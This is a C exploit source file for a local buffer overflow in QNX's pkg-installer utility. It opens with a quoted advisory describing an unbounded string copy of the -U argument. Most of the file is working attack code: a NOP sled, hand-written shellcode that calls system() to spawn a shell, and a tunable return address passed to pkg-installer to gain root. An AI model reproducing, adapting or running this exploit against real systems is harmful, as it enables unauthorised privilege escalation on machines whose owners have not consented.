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35 lines
No EOL
1.1 KiB
C
35 lines
No EOL
1.1 KiB
C
/*
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source: https://www.securityfocus.com/bid/4918/info
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It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.
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The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer.
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*/
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/* Quick and dirty QNX pkg-installer root exploit.
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* The shellcode sucks, it is longer than it has
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* to be and you need the address to system() for
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* it to work. Yes I know I'm lazy....
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*
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* http://www.badc0ded.com
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*/
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main(int argc, char **argv)
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{
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int ret=0x804786d;
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char *pret;
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char s[]="\xeb\x0e\x31\xc0\x5b"
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"\x88\x43\x2\x53\xbb"
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"\xe4\xb4\x04\x08" //system() address
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"\xff\xd3\xe8\xed\xff"
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"\xff\xff\x73\x68";
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char payload[2000];
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if (argc>=2)
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ret=ret-atoi(argv[1]);
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pret=&ret;
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printf("using ret %x\n",ret);
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memset(payload,0x90,1254);
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sprintf(payload+1254,"%s%s",s,pret);
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execlp("/usr/photon/bin/pkg-installer","pkg-installer","-u",payload,0);
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} |